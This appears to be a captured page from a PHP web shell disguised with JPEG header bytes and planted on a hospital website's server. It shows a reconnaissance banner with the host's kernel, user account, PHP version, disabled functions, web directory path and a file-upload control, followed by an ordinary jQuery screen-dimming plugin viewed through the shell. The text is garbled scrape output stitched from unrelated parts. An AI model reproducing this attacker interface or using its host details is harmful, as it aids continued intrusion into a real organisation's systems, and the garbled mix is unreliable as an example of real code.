ÿØÿà JFIF ` ` ÿþ
Server : Apache/2 System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 User : benhviencoc7 ( 1008) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/benhviencoc7/domains/benhviendkkvcampha.vn/public_html/data/javascripts/ |
Upload File : |
//dimScreen() //by Brandon Goldman jQuery.extend({ //dims the screen dimScreen: function(speed, opacity, callback) { if(jQuery('#__dimScreen').size() > 0) return; if(typeof speed == 'function') { callback = speed; speed = null; } if(typeof opacity == 'function') { callback = opacity; opacity = null; } if(speed < 1) { var placeholder = opacity; opacity = speed; speed = placeholder; } if(opacity >= 1) { var placeholder = speed; speed = opacity; opacity = placeholder; } speed = (speed > 0) ? speed : 300; opacity = (opacity > 0) ? opacity : 0.5; return jQuery('<div></div>').attr({ id: '__dimScreen' ,fade_opacity: opacity ,speed: speed }).css({ background: '#000' ,height: $(document).height() + 'px' ,left: '0px' ,opacity: 0 ,position: 'absolute' ,top: '0px' ,width: $(document).width() + 'px' ,zIndex: 999 }).appendTo(document.body).fadeTo(speed, 0.7, callback); }, //stops current dimming of the screen dimScreenStop: function(callback) { var x = jQuery('#__dimScreen'); var opacity = x.attr('fade_opacity'); x.fadeOut(0, function() { x.remove(); if(typeof callback == 'function') callback(); }); } });